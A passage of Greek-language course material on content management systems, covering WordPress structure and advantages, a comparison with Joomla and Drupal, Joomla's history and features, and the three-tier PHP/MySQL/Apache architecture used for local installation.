ακριανές μπάρες (sidebars) της ιστοσελίδας. Τα widgets αρχικά σχεδιάστηκαν ώστε να παρέχουν στο χρήστη ένα απλό τρόπο ελέγχου δομής και σχεδιασμού ενός θέματος. Δεν απαιτούν ειδικές γνώσεις κώδικα. Μπορούν να προστεθούν, να αφαιρεθούν και να επανατοποθετηθούν από τον Πίνακα Ελέγχου, μέσω της διαδικασίας των επιλογών: Εμφάνιση >Widgets. Η σειρά και η τοποθέτησή τους καθορίζεται από το αρχείο functions.php, που περιλαμβάνεται στο ενεργό θέμα του Wordpress. Μερικά widgets προσφέρουν δυνατότητες προσαρμογής και επιλογές, όπως η συμπλήρωση μιας φόρμας, οι ενδείξεις για τον καιρό, η μετάφραση και άλλα τέτοια χαρακτηριστικά.

Δομή και αρχιτεκτονική του Wordpress Η δομή των φακέλων Φάκελος Εφαρμογών (Application Directory) Αρχεία Πυρήνα (core files), όπως“wp-settings.php”, “wp-config.php” κ.α. • /wp-admin (λειτουργεί σαν ένα mini-siteγια να ελέγχει την εφαρμογή με το δικό του css) • /wp-includes (περιλαμβάνει τις κλάσεις, τις βιβλιοθήκες, scripts, εικόνες) • /wp-content (περιλαμβάνει τα πρόσθετα, τα θέματα και ότι έχει να κάνει με το περιεχόμενο) Η δομή της Βάσης Δεδομένων • –wp_comments: καταχωρούνται στον ομώνυμο πίνακα της βάσης • –wp_commentmeta: πληροφορίες σχετικά με τα σχόλια (ώρα, κλπ) • –wp_links: πληροφορίες σχετικά με τους συνδέσμους • –wp_options: οι διάφορες επιλογές του χρήστη • –wp_postmeta: πληροφορίες σχετικά με τις αναρτήσεις • –wp_posts: το περιεχόμενο των αναρτήσεων και των σελίδων • –wp_terms: οι κατηγορίες των σελίδων και των αναρτήσεων • –wp_term_relationships: ο συσχετισμός των αναρτήσεων με τις κατηγορίες • –wp_term_taxonomy: η ιεραρχία των κατηγοριών, συνδέσμων, κλπ. • –wp_usermeta: πληροφορίες για τους εγγεγραμμένους χρήστες • –wp_users: η λίστα των χρηστών Το Wordpress δε δημιούργησε καλές εντυπώσεις όταν πρωτοβγήκε. Αρχικά, θεωρούνταν διεθνώς σαν ένα απλό λογισμικό που προοριζόταν για προσωπικά ιστολόγια. Στην πορεία όμως, η αληθινή δύναμη του Wordpress ήρθε στο φως. Το Wordpress μπορεί να χρησιμοποιηθεί για την κατασκευή μιας ιστοσελίδας ειδήσεων, ηλεκτρονικού εμπορίου, κυβερνητικού οργανισμού, κλπ. Οι ιστοσελίδες κατασκευασμένες με Wordpress προσφέρουν πολύ περισσότερα από τα πέντε ή δέκα πλεονεκτήματα που ακούγονται συχνότερα. Μια ιστοσελίδα βασισμένο σε λογισμικό blogging (ιστολογίου) αποτελεί εξέλιξη του πως κατασκευάζονται οι καινούργιες και σύγχρονες ιστοσελίδες. Παρακάτω απαριθμούνται λόγοι που εξηγούν το γιατί οι ιστοσελίδες με χρήση Wordpress πλεονεκτούν σε σχέση με τα υπόλοιπα παραδοσιακά sites.

1. Εξοικονόμηση χρημάτων – Δεν υπάρχει πλέον ανάγκη οι αλλαγές στο κείμενο και γενικά στο περιεχόμενο να γίνονται από κάποιον τρίτο ειδικό. Εκείνος που θέλει να φτιάξει τη σελίδα, εκείνος τη δημιουργεί και την τροποποιεί σύμφωνα με τις επιθυμίες του, εύκολα και χωρίς την παρέμβαση άλλου. Έτσι, τα χρήματα που θα έδινε κάποιος σε έναν ειδικό προγραμματιστή, μπορεί να τα δώσει σε πιο σημαντικά πράγματα, κατ’ επιλογήν φυσικά, όπως για παράδειγμα σε ένα καλό πρόσθετο. 2. 2. Υψηλότερη προσβασιμότητα – Αλλαγές και προσθήκη περιεχομένου στη σελίδα μπορούν να γίνουν από οποιονδήποτε υπολογιστή στον κόσμο με πρόσβαση στο internet. 3. 3. Συνοχή – Ανεξάρτητα με το πλήθος των αναρτήσεων ή των σελίδων που προστίθενται, οι επισκέπτες της ιστοσελίδας δεν φτάνουν σε σημείο να κουραστούν. 4. 4. Φιλικό στην κοινωνική δικτύωση – Μπορεί κανείς να ολοκληρώσει τις αναρτήσεις του μέσω γνωστών σελίδων κοινωνικής δικτύωσης, όπως το facebook, το twitter, κλπ., αντί να πηγαίνει στην καθεμία ξεχωριστά, να κάνει είσοδο και να ενημερώνει ότι προστέθηκε κάτι καινούργιο στην ιστοσελίδα του. 5. 5. Πολυμέσα – Μπορεί κανείς να προσθέσει εύκολα ήχο και βίντεο στις αναρτήσεις του. 6. 6. Μηχανές αναζήτησης – Η παραγωγή του κώδικα έχει συνοχή και δεν περιέχει εξεζητημένες εντολές HTML. Επίσης, με τη σωστή διαμόρφωση, μπορεί κανείς να προσαρμόσει κάθε σελίδα ή ανάρτηση ώστε να τους δώσει περισσότερες πιθανότητες να ‘ανέβουν’ ψηλά στα αποτελέσματα των μηχανών αναζήτησης. 7. 7. Προσέλκυση των μηχανών – Καθώς ποστάρει κανείς περισσότερο περιεχόμενο, αυτή η ενέργεια θα προσελκύσει τα λεγόμενα “Googlerobots” και τις άλλες μηχανές αναζήτησης σα μαγνήτης. Τα εικονικά αυτά robot θα ψάξουν ολόκληρη την ιστοσελίδα, αναζητώντας νέο περιεχόμενο και νέες σελίδες, τις οποίες μπορούν να ενσωματώσουν στον κατάλογο των αποτελεσμάτων. Οι νέες σελίδες θα κατηγοριοποιηθούν σε ώρες, ακόμα και λεπτά αφού προστεθούν στην ιστοσελίδα. 8. Δυνατότητα επέκτασης – Δε χρειάζεται να ενημερώσει κανείς την πλοήγηση καθώς προσθέτει νέες σελίδες. Οι σύνδεσμοί τους θα προστεθούν αυτόματα βασισμένοι σε ποια κατηγορία αντιστοιχούν οι αναρτήσεις και οι σελίδες. Αυτό συμβαίνει στο χώρο του διαχειριστή, αντί να τροποποιούνται χειροκίνητα τα javascript μενού και τα πολύπλοκα php αρχεία. 9. Γρήγορη εκμάθηση – Μαθαίνοντας να τροποποιεί κανείς το περιεχόμενο, να προσθέτει νέες σελίδες, φωτογραφίες είναι τόσο εύκολο (ή ακόμα και ευκολότερο) όσο να μάθει κανείς το Microsoft Word. Ανακαλύπτοντας μια φορά τις διαδικασίες, δε μένει κανείς

αρχάριος για πολύ. Χάρη στην πληθώρα οδηγιών και tutorials που υπάρχουν online, μπορεί κανείς να μάθει πολύ γρήγορα αυτά που χρειάζεται. 10. Βελτιωμένη ασφάλεια – Ένα από τα επιχειρήματα εναντίον του Wordpress ή οποιουδήποτε άλλου blog λογισμικού που χρησιμοποιούν πρόσθετα, είναι ότι χάκερς μπορούν να εισβάλουν στην ιστοσελίδα. Στην πραγματικότητα, το αντίθετο ισχύει: Αν γίνει σωστά η εγκατάστασή του, η ιστοσελίδα είναι ασφαλής από χάκερ περισσότερο από ένα κοινό website. Αυτό συμβαίνει γιατί η διαδικασία της εγκατάστασης είναι σύνθετη και έχει παραμέτρους που καθορίζουν την ασφάλεια της σελίδας σε διάφορα επίπεδα. 11. Ενθαρρύνει τους επισκέπτες – Καθώς νέο περιεχόμενο προστίθεται συχνά, ολοένα και περισσότεροι επισκέπτες ενθαρρύνονται να μπουν στην ιστοσελίδα. Εδώ παίζουν ρόλο τα λεγόμενα “RSS feeds” (RealSimpleSyndication) τα οποία στέλνουν αυτόματα ειδοποιήσεις μέσω mail ότι ανέβηκαν νέες αναρτήσεις. Αυτές οι ανακοινώσεις ωθούν τους παλιούς επισκέπτες να επανέλθουν στην ιστοσελίδα να διαβάσουν πχ. τη συνέχεια ενός άρθρου. Αυτό δεν είναι απλά το μέλλον της εξέλιξης της επικοινωνίας σε μερικά χρόνια, αλλά το πώς είναι τώρα, στις μέρες μας. 12. Αμφίδρομη επικοινωνία με τους επισκέπτες – Μέσω της χρήσης των σχολίων, δεν υπάρχει πλέον ο περιορισμός της μονόδρομης επικοινωνίας με τους επισκέπτες, όπως θα ήταν σε ένα παραδοσιακό website. Φυσικά, υπάρχει πάντα η πιθανότητα να προσθέσει κανείς μια φόρμα «Επικοινωνήστε μαζί μας», αλλά τα σχόλια επιτρέπουν αμφίδρομη συζήτηση μεταξύ του συγγραφέα και του αναγνώστη. Επίσης, κάθε φορά που κάποιος κάνει ένα σχόλιο σε μια ανάρτηση, οι λέξεις-κλειδιά που συμπεριλαμβάνονται σε καθεμία, βοηθάνε στο να γίνει καλύτερη αναζήτηση. 13. Γρήγορη ενημέρωση περιεχομένου – Κάνοντας συχνές αναρτήσεις και μοιράζοντας κανείς την άποψή του μέσω ενός blog αυξάνει τη δυνατότητα σύναψης στενότερων σχέσεων με ένα κοινό, απ’ ότι μέσω ενός παραδοσιακού website. Γιατί συμβαίνει αυτό; Γιατί τα κοινά websites καθυστερούν πολύ στη μορφοποίηση. Ακόμα και όταν ανοίξει κανείς το Dreamweaver και αντιγράψει μια σελίδα ώστε να την επεξεργαστεί και να δημιουργήσει μια νέα, πάλι θα πρέπει να φορμάρει το περιεχόμενο, να το ανεβάσει στο σωστό directory, να θέσει τα δικαιώματα, κλπ. Η προσθήκη νέων σελίδων στο Wordpress γίνεται κυριολεκτικά σε λίγα δευτερόλεπτα. Καμιά φορά δεν υπάρχει η χρονική πολυτέλεια του να προσθέτεις περιεχόμενο με τον παραδοσιακό τρόπο. Και όταν το περιεχόμενο έχει να κάνει με δραστηριότητες σε μια επιχείρηση, η ταχύτητα ανανέωσης είναι σημαντικός παράγοντας.

14. Άμεση αναγνώριση των δημοφιλέστερων θεμάτων στο κοινό – Αν κάποιος για παράδειγμα, δημιουργήσει δέκα αναρτήσεις με ένα-δυο σχόλια στην καθεμία, ή ακόμα και κανένα, και ξαφνικά δημιουργήσει μια ανάρτηση η οποία αποφέρει δέκα και πλέον σχόλια, καταλαβαίνει αμέσως ότι το θέμα της ανάρτησης προκαλεί ενδιαφέρον. Αυτή είναι μια χρήσιμη ευκαιρία που δεν υπάρχει συνήθως σε ένα κοινό website, εκτός αν πληρώσει κανείς για έρευνες και συλλογή στατιστικών στοιχείων. 15. Αυτόματη σύνδεση RSS – Οι αναρτήσεις των blog αυτόματα μετατρέπονται σε RSS ενημερώσεις και επιπλέον συνδέονται και με άλλα blogs. 16. Δωρεάν είσοδος στο “Yahoo!” – Όταν υποβάλλει κανείς τις ενημερώσεις RSS χειροκίνητα στο “Yahoo!” δε χρειάζεται να πληρώνει το ποσό των $299, καθώς η ιστοσελίδα κατηγοριοποιείται δωρεάν στη μηχανή αναζήτησης. Επίσης, προσθέτοντας ενημερώσεις RSS, κατηγοριοποιείται γρηγορότερα η ιστοσελίδα. 17. Απόλυτος έλεγχος των συζητήσεων – Στα κοινά websites, ο παραδοσιακός τρόπος επικοινωνίας με τους επισκέπτες ήταν να προσθέσει κανείς ένα forum ή ένα χώρο chat. Το πρόβλημα με αυτό τον τρόπο ήταν ότι έπρεπε να προστατεύονται οι αναρτήσεις από spammers και να διαγράφονται τυχόν συζητήσεις και ανεπιθύμητοι λογαριασμοί οι οποίοι απειλούσαν την ακεραιότητα της ιστοσελίδας. Με τα Wordpress ιστολόγια, αυτό άλλαξε. Ο διαχειριστής (ή ανάλογος ρόλος που έχει το αντίστοιχο δικαίωμα) ξεκινάει τη συζήτηση. Οι επισκέπτες σχολιάζουν, αλλά τα σχόλιά τους πρέπει πρώτα να εγκριθούν πριν κανείς τα δει ανεβασμένα στην ιστοσελίδα. Αυτός είναι ο καλύτερος και ασφαλέστερος τρόπος έναρξης επικοινωνίας, χωρίς άγχος δυσφήμισης της ιστοσελίδας από ανεπίτρεπτα σχόλια. 18. Αναθεώρηση των ιδεών – Έχοντας τη δυνατότητα προσθήκης περιεχομένου στην ιστοσελίδα με έναν εύκολο, γρήγορο τρόπο, χωρίς την ανάγκη τεχνικών γνώσεων, μπορεί να εκπλαγεί κανείς με το ότι ιδέες του «τι να προσθέσω» δεν αποτελούν πια πρόβλημα. Δεν υπάρχουν όρια στο τι μπορεί να ανεβάσει κανείς σε blog. 19. Αυξημένη λειτουργικότητα με χαμηλότερο κόστος– Μέσω των προσθέτων, τα οποία απαιτούν μια στάνταρ διαδικασία εγκατάστασης τριών βημάτων, μπορεί κανείς να απογειώσει τη λειτουργικότητα της ιστοσελίδας του, πολλές φορές με μηδαμινό κόστος. 20. Παγκόσμια πλατφόρμα – Με τη σημερινή οικονομική κατάσταση, οι webdesigners και οι πάροχοι υπηρεσιών Internet εκμηδενίζονται όλο και πιο γρήγορα. Με τα κοινά websites, πολύ σπάνια ένας νέος πάροχος θα συμφωνήσει να συνεχίσει από εκεί που σταμάτησε ο πρώτος designer/developer. Το αποτέλεσμα θα είναι να χρεώσει ο νέος πάροχος τις υπηρεσίες του σαν να ξεκινούσε κανείς από το μηδέν. Αντίθετα, ο καθένας με βασικές

γνώσεις PhP και MySql μπορεί να μπει στο site του Wordpress και να κάνει ότι πρέπει σαν να είναι στη θέση εκείνου που το ξεκίνησε. 21. Μειωμένη απώλεια εργασίας – Το περιεχόμενο που άλλαξε, μπορεί να αποθηκευτεί αυτόματα καθώς κανείς πληκτρολογεί, ακόμα και αν δεν έχει δημοσιευθεί. 22. Συμβατότητα με κινητά – Δε χρειάζεται η δημιουργία ενός δεύτερου website για κινητά τηλέφωνα. Το Wordpress αυτόματα αναγνωρίζει αν κάποιος προβάλλει την ιστοσελίδα μέσα από έναν webbrowser ή μια κινητή συσκευή και διαμορφώνει την σωστή και κατάλληλη προβολή και εμφάνιση στο καθένα από αυτά. Πού υπερέχει το Wordpress σε σχέση με τα υπόλοιπα CMS Σκοπός: Σε αντίθεση με το JOOMLAή το DRUPAL, τα οποία σχεδιάστηκαν για να εξυπηρετήσουν σκοπούς των χρηστών, το Wordpress σχεδιάστηκε για να επιλύει προβλήματα. Οι bloggers που αντιμετώπιζαν τυχόν προβλήματα, χρησιμοποιώντας το Wordpress, τους παρείχε υπηρεσίες ώστε να λυθούν τα προβλήματα. Ευκολία στη χρήση: Το Wordpressείναι το ευκολότερο CMSγια κάποιον που δεν έχει τεχνικές γνώσεις, όσον αφορά την εγκατάσταση και τη διαχείριση. Αυτό είναι πολύ σημαντικό. Οποιοσδήποτε μπορεί να δημιουργήσει ένα blog και να είναι έτοιμο μέσα σε λίγες ώρες. Από έναν πληροφορικό που θέλει να ‘χτίσει’ ένα εταιρικό CMS χωρίς να κινδυνεύει να χάσει την υπόληψή του ούτε να μένει ανενημέρωτος σχετικά με την καινούργια τεχνολογία, μέχρι έναν απλό άνθρωπο που έχει ένα χόμπι άσχετο με την πληροφορική και θέλει να στήσει το προσωπικό του blog. Η ευχρηστία είναι ένα θέμα που το Joomla και το Drupal προσπαθούν να

βελτιώσουν,

ειδικά

το

Drupal

που

δεν

έχει

καν

editor

WYSIWYG

(WhatYouSeeIsWhatYouGet). Ο παράγοντας του “blog”: Η συνεχής αναφορά του Wordpressως ένα λογισμικό blogging, αποτελεί ταμπού στην κοινότητά του. Αυτός ο παράγοντας όμως είναι εξαιρετικά ισχυρός και βοήθησε να καθιερωθεί το Wordpress ένα CMS όπως όλα τα υπόλοιπα. Ας σκεφτούμε τα παρακάτω: • Ο ιστότοπος του Wordpress είναι ο 18ος συχνότερα επισκεπτόμενος παγκοσμίως. • Σύμφωνα με τις νέες αναρτήσεις στην αρχική σελίδα του Wordpress, 3/11 των Blogτρέχουν σε δικό τους domainκαι το 1/11 (ή 9%) είναι στα κορυφαία 1.000.000 websites, σύμφωνα με τηνAlexa (εργαλείο στατιστικών μετρήσεων).

• Στην πραγματικότητα το Wordpressείναι μια επιτυχημένη πλατφόρμα blogging καθώς και το πιο επιτυχημένο παγκοσμίως. Η γενεαλογία του Wordpress ως λογισμικό blogging αποτελεί μέρος της επιτυχίας του σαν CMS, για τους εξής λόγους: 1. Όταν σχεδιάζεται ένα προϊόν για ένα συγκεκριμένο σκοπό, πάντα είναι πιο αποτελεσματικό. Το Drupal και το Joomla ανέκαθεν ήθελαν να είναι επεκτάσιμα. 2. Η πλατφόρμα κέρδισε περισσότερη αξιοπιστία όταν websites άρχισαν να το χρησιμοποιούνε. 3. Οι bloggers γνωρίζουν από περιεχόμενο και ο παγκόσμιος ιστός ασχολείται με περιεχόμενο. Γεγονός είναι ότι όλα τα συστήματα διαχείρισης περιεχομένου έχουν δημιουργηθεί για να κάνουν μια δουλειά για μας, δηλαδή να διαχειρίζονται περιεχόμενο, όπως λέει και το όνομά τους. Όλα τα CMS (Wordpress, Joomla, Drupal, κλπ.) έχουν αυτή τη δυνατότητα. Όπως αναφέρθηκε παραπάνω, στις περισσότερες περιπτώσεις, οποιοδήποτε CMS μπορεί να κάνει μια δουλειά εξίσου καλά. Η επιλογή ενός CMS από ένα άλλο συνήθως καθορίζεται περισσότερο από παράγοντες που αναλύσαμε προηγουμένως.

JOOMLA Ιστορία του Joomla Το Joomla αποτελεί παιδί ενός άλλου γνωστού CMS, του Mambo του οποίου υπήρξε fork. Με τον όρο fork στη Μηχανική Λογισμικού αναφερόμαστε σε ένα project όπου μια ομάδα developers παίρνει μία νόμιμη κόπια ενός λογισμικού και αρχίζει ανεξάρτητη υλοποίηση επάνω σε αυτό. Η διαδικασία ξεκίνησε τον Αύγουστο του 2005, όταν τα πνευματικά δικαιώματα του Mambo ανήκαν στην εταιρεία Miro Intl Pty Ltd. Η εταιρεία δημιουργεί έναν μη κερδοσκοπικό οργανισμό με σκοπό να χρηματοδοτήσει το project και να το προστατέψει από πιθανές αγωγές. Η ομάδα υλοποίησης εκφράζει ρητά τις ενστάσεις της και τις διαφωνίες της σχετικά με διάφορους όρους που έχει θέσει η εταιρεία οι οποίοι κατά τη γνώμη των μελών της αντιβαίνουν με τους κανόνες χρήσης και διάδοσης του λεγόμενου λογισμικού ανοιχτού πηγαίου κώδικα (open source). Η ομάδα υλοποίησης λοιπόν του Joomla (που τότε δεν είχε ακόμη καν όνομα) δημιουργεί ένα website με ονομασία 'OpenSourceMatters' όπου εκφράζει την αντίθεσή της με τους όρους της Miro καθώς και τις θέσεις της σχετικά με την ανάγκη ύπαρξης ελεύθερου λογισμικού.

Η κίνηση αυτή προσελκύει πολύ κόσμο ο οποίος ενθαρρύνει την ομάδα υλοποίησης ώστε αυτή να κινηθεί προς την κατεύθυνση λανσαρίσματος του fork στο ευρύ κοινό. Μη έχοντας ακόμη επίσημο όνομα για το project, στις 18 Αυγούστου του 2005 ο Andrew Blake (επικεφαλής της ομάδας υλοποίησης) καλεί τους φίλους της κίνησης να προτείνουν ονόματα για το project. Την 1η του Σεπτέμβρη του 2005 ανακοινώνεται στο κοινό πως το όνομα που επιλέχθηκε ήταν το Joomla, Αραβική λέξη η μεταφράζεται στην Ελληνική ως 'συνολικά'. Λίγο αργότερα τον ίδιο μήνα, στις 16, έχουμε το επίσημο λανσάρισμα της πρώτης έκδοσης του Joomla, ενώ τις επόμενες εβδομάδες ακολουθεί το λανσάρισμα του επίσημου λογοτύπου και του εγχειριδίου χρήσης. Η πρώτη έκδοση του Joomla (1.0.0) ήταν στην ουσία ένα αντίγραφο του Mambo 4.5.2.3 στο οποίο είχαν γίνει μικροδιορθώσεις σε bugs και είχαν εφαρμοστεί patches σε γνωστές 'τρύπες' ασφαλείας. Η δεύτερη έκδοση του Joomla που είναι η 1.5.0 λανσάρεται στις 22 Ιανουαρίου του 2008 και εισάγει πολλές αλλαγές στον τρόπο λειτουργίας της πλατφόρμας αλλά και νέα λειτουργικότητα σε σχέση με τον προκάτοχό της. Από την πρώτη έκδοσή του μέχρι και σήμερα το Joomla έχει γίνει εξαιρετικά δημοφιλές και σύμφωνα με την επίσημη αναφορά Open Source CMS Market Share Report, από τον Οκτώβριο του 2009 το Joomla είναι το πιο δημοφιλές Web CMS. Χαρακτηριστικά του Joomla Το Joomla είναι ένα Web CMS ανοιχτού πηγαίου κώδικα, που σημαίνει πως μπορείτε να το χρησιμοποιήσετε τόσο για τη δημιουργία sites μη κερδοσκοπικού χαρακτήρα όσο και εμπορικών χωρίς να απαιτείται η καταβολή κάποιου χρηματικού ποσού στους developers της πλατφόρμας ή η αγορά κάποιας άδειας χρήσης. Αυτό είναι και ένα από τα μεγαλύτερα πλεονεκτήματά του έναντι άλλων Web CMS, αν και σήμερα υπάρχει όπως προαναφέρθηκε πληθώρα open source Web CMS για όλες τις ανάγκες και όλες τις απαιτήσεις. Αποτελείται από έναν πυρήνα στον οποίο ενσωματώνεται η συνολική λειτουργικότητα υπό τη μορφή modules, components, plugins και templates. Κάποια από τα βασικότερα χαρακτηριστικά του είναι τα εξής: • Υποστηρίζει διαχείριση και πιστοποίηση (authentication) χρηστών • Υποστηρίζει διαφορετικές γλώσσες (internationalization) • Είναι πλήρως επεκτάσιμο • Υποστηρίζει χρήση web services

• Επιτρέπει στους χρήστες να συνεισφέρουν στο περιεχόμενο κάνοντας χρήση WYSIWYG editors • Έχει ενσωματωμένο σύστημα βοήθειας προς τον χρήστη • Περιέχει ενσωματωμένο FTP Manager • Επιτρέπει την εύκολη εναλλαγή προτύπων (templates) • Υποστηρίζει χρήση URI που είναι φιλικά προς τις μηχανές αναζήτησης • Υποστηρίζει πληθώρα χρήσιμων λειτουργιών όπως: · Δημοψηφίσματα (polls) · Φόρμες επικοινωνίας · Νέα με τη μορφή RSS Feeds · Διαχείριση επαφών και email · Προβολή σελίδων ως pdf αρχεία · Σελίδες φιλικές στην εκτύπωση Βασικά Συστατικά Λογισμικού Όλες οι σοβαρές επιχειρησιακές εφαρμογές λογισμικού αποτελούνται από τέσσερα βασικά συστατικά. Τα συστατικά αυτά από κάτω προς τα πάνω (lower to higher level) είναι τα εξής: 1. Αποθήκευση δεδομένων (data storage): Πρόκειται για το κομμάτι της εφαρμογής που είναι υπεύθυνο για την αποθήκευση των δεδομένων. Κάθε εφαρμογή διαχειρίζεται δεδομένα τα οποία και αποθηκεύει είτε σε μία βάση δεδομένων είτε σε κάποιας μορφής αρχείο. Ο τρόπος με τον οποίο αποθηκεύονται τα δεδομένα αυτά είναι ευθύνη του συγκεκριμένου συστατικού. 2. Λογική πρόσβασης δεδομένων (data access logic): Το συγκεκριμένο συστατικό της εφαρμογής είναι υπεύθυνο να παρέχει έναν αξιόπιστο μηχανισμό ελέγχου πρόσβασης των δεδομένων της ανάλογα με τα δικαιώματα του κάθε χρήστη, χωρίς ο μηχανισμός αυτός να είναι πολύπλοκος. Στην περίπτωση που τα δεδομένα αποθηκεύονται σε μια σχεσιακή βάση δεδομένων τον ρόλο αυτόν αναλαμβάνει το RDBMS, ενώ στην περίπτωση που τα δεδομένα αποθηκεύονται σε κάποιο αρχείο ο μηχανισμός υλοποιείται είτε από την ίδια την εφαρμογή, είτε από το file system είτε χρησιμοποιείται συνδυασμός και των δύο. 3. Επιχειρησιακή λογική (application logic): Πρόκειται για το καθαρά προγραμματιστικό κομμάτι της εφαρμογής που περιγράφει τις διαδικασίες και τον τρόπο λειτουργίας της

επιχείρησης- οργανισμού που επιθυμεί να τις αυτοματοποιήσει κάνοντας χρήση της εν λόγω εφαρμογής. 4. Λογική παρουσίασης (presentation logic): Το συστατικό της εφαρμογής που περιγράφει τον τρόπο με τον οποίο υλοποιείται η διάδραση του χρήστη με αυτήν. Συνήθως πρόκειται για κάποιας μορφής GUI που υλοποιείται σε μία high-level γλώσσα προγραμματισμού και κάνει χρήση του event-driven μοντέλου προγραμματισμού, ή ενός web interface στο οποίο ο χρήστης έχει πρόσβαση μέσω ενός web browser. Ανάλογα με την αρχιτεκτονική που χρησιμοποιείται από τους μηχανικούς για την υλοποίηση της εφαρμογής, τα παραπάνω συστατικά μπορεί να υλοποιούνται σε ένα ή σε περισσότερα επίπεδα. Αρχιτεκτονική 3 Επιπέδων Οι σύγχρονες διαδικτυακές εφαρμογές κάνουν χρήση μιας αρχιτεκτονικής γνωστής ως multitiered που στα Ελληνικά σημαίνει αρχιτεκτονική πολλών επιπέδων. Η συγκεκριμένη αρχιτεκτονική έχει κατά κάποιον τρόπο αντικαταστήσει την παραδοσιακή client/server αρχιτεκτονική όπου η συνολική λειτουργικότητα μοιράζεται σε 2 επίπεδα και πλέον 'σπάει' σε 3 ή περισσότερα επίπεδα (n tiers). Από τις πιο γνωστές και επιτυχημένες αρχιτεκτονικές της κατηγορίας αυτής είναι η Java EE, η οποία κάνει χρήση τεσσάρων επιπέδων. Οι διαδικτυακές εφαρμογές γραμμένες σε PHP χρησιμοποιούν ένα επίπεδο λιγότερο, δηλαδή συνολικά τρία. Αυτό σημαίνει πως τα συστατικά που περιγράψαμε στην προηγούμενη υποενότητα μοιράζονται σε τρία ξεχωριστά επίπεδα τα οποία είναι το Database tier, το Web tier και το Client tier. Database tier: Το επίπεδο αυτό υλοποιεί τόσο τον μηχανισμό αποθήκευσης των δεδομένων όσο και τον μηχανισμό έλεγχου πρόσβασης σε αυτά κάνοντας χρήση ενός RDBMS που συνήθως είναι ένας MySQL Server. Web tier: Στο επίπεδο αυτό υλοποιείται η επιχειρησιακή λογική της εφαρμογής αλλά και μεγάλο κομμάτι της παρουσίασης κάνοντας χρήση ενός συνόλου αρχείων που μπορεί να είναι αρχεία PHP, HTML, CSS, JavaScript, εικόνες κ.α. Ένας Web server (συνήθως ένας Apache) σε συνεργασία με τα πακέτα της PHP που βρίσκονται εγκατεστημένα στο συγκεκριμένο επίπεδο αναλαμβάνουν να τροφοδοτήσουν τον web browser του χρήστη με HTML, τη γλώσσα δηλαδή που μπορεί να ερμηνεύσει.

Client tier: Το επίπεδο αυτό βρίσκεται στον υπολογιστή του χρήστη και συγκεκριμένα στον web browser που χρησιμοποιεί για να αλληλεπιδράσει με την εφαρμογή. Για αυτόν ακριβώς τον λόγο στο σχήμα 1 που ακολουθεί βλέπουμε πως κομμάτι της παρουσίασης βρίσκεται υλοποιημένο στο επίπεδο αυτό. Το τμήμα της παρουσίασης που υλοποιείται στο Client tier είναι ο ίδιος ο web browser, ένα λογισμικό δηλαδή μέσω του οποίου ο χρήστης είναι σε θέση να ερμηνεύσει και να προβάλλει την HTML που του αποστέλλει ο Web server. Παρακάτω περιγράφεται η αρχιτεκτονική 3 επιπέδων της PHP και συγκεκριμένα, ο φυσικός διαχωρισμός. Στην περίπτωση αυτή τα 3 διαφορετικά επίπεδα της αρχιτεκτονικής βρίσκονται εγκατεστημένα σε διαφορετικά μηχανήματα.

Εγκατάσταση Συστατικών Αρχιτεκτονικής Η εγκατάσταση του Joomla προϋποθέτει πως τα στοιχεία της αρχιτεκτονικής που αναλύσαμε στην προηγούμενη υποενότητα, δηλαδή η MySQL, ο Apache και η PHP θα πρέπει να έχουν εγκατασταθεί στον υπολογιστή μας. Αν έστω ένα από τα συστατικά της αρχιτεκτονικής απουσιάζει δε μπορούμε να προχωρήσουμε με την εγκατάσταση του Joomla και άρα το πρώτο βήμα αφορά στην εγκατάσταση των τριών αυτών συστατικών. Υπάρχει πολύ μεγάλη ποικιλία επιλογών όσον αφορά στην εγκατάσταση της υποδομής που έχουν να κάνουν τόσο με τη διαδικασία εγκατάστασης αλλά και το λειτουργικό σύστημα του χρήστη. Ξεκινώντας από το δεύτερο, δηλαδή το λειτουργικό σύστημα του χρήστη, υπάρχει η δυνατότητα εγκατάστασης των συστατικών της αρχιτεκτονικής σε όλα τα γνωστά λειτουργικά συστήματα όπως τα Windows, το Linux, το MacOS και το Unix. Ίσως έχετε συναντήσει στο web τους όρους LAMP, WAMP κλπ. Οι όροι αυτοί περιγράφουν το είδος του server στον οποίο έχει εγκατασταθεί η εν λόγω αρχιτεκτονική, π.χ. ο όρος LAMP (Linux Apache MySQL PHP)

περιγράφει έναν Linux server, ο όρος WAMP (Windows Apache MySQL PHP) έναν Windows server κ.ο.κ. Ο πιο συνηθισμένος τύπος server για εμπορικές εφαρμογές είναι ο πρώτος και η συντριπτική πλειονότητα των ISPs τον προτιμούν τόσο για λόγους μείωσης κόστους αγοράς και συντήρησης όσο και για λόγους που έχουν να κάνουν με την αξιοπιστία και την ασφάλεια. Εμείς, για το σεμινάριο αυτό θα κάνουμε χρήση ενός προσωπικού WAMP server μιας και οι περισσότεροι χρήστες χρησιμοποιούν τα Windows στους προσωπικούς τους υπολογιστές αλλά αν κάποιος από εσάς χρησιμοποιεί Linux ή MacOS είναι ελεύθερος να εγκαταστήσει το απαραίτητο λογισμικό στο λειτουργικό της επιλογής του και να δουλέψει σε αυτό. Όσον αφορά στον τρόπο εγκατάστασης τώρα, υπάρχουν δύο επιλογές. Η μία επιλογή είναι να εγκαταστήσετε και τα τρία συστατικά της αρχιτεκτονικής σε ένα βήμα, κάνοντας χρήση ενός από τα διαθέσιμα πακέτα που υπάρχουν ελεύθερα στο διαδίκτυο. Η δεύτερη επιλογή είναι να εγκαταστήσετε ένα ένα τα συστατικά της αρχιτεκτονικής σε τρία βήματα συνολικά. Κάθε μία από αυτές τις επιλογές έχει τα δικά της πλεονεκτήματα και μειονεκτήματα. Ας δούμε όμως αναλυτικότερα τις δύο αυτές επιλογές, ώστε να αποφασίσετε μόνοι σας ποια είναι η πιο κατάλληλη για εσάς. Στην περίπτωση χρήσης ενός πακέτου για εγκατάσταση όλου του λογισμικού σε ένα βήμα, αυτό που χρειάζεται είναι να προμηθευτείτε το κατάλληλο πακέτο για το λειτουργικό σας σύστημα. Υπάρχουν πολλά τέτοια πακέτα διαθέσιμα στο διαδίκτυο που μπορείτε να κατεβάσετε, ενώ θα βρείτε στο συνοδευτικό CD του σεμιναρίου κάποια από αυτά για το λειτουργικό σύστημα των Windows. Συγκεκριμένα, στο συνοδευτικό CD θα βρείτε τα πακέτα WampServer, XAMPP και EasyPHP. Τα πακέτα αυτά δημιουργήθηκαν αφ' ενός για να αυτοματοποιήσουν τη διαδικασία εγκατάστασης, εφ' ετέρου για να διευκολύνουν αρχάριους χρήστες να εγκαταστήσουν επιτυχώς το απαιτούμενο λογισμικό στον υπολογιστή τους ακόμη κι αν έχουν ελάχιστες 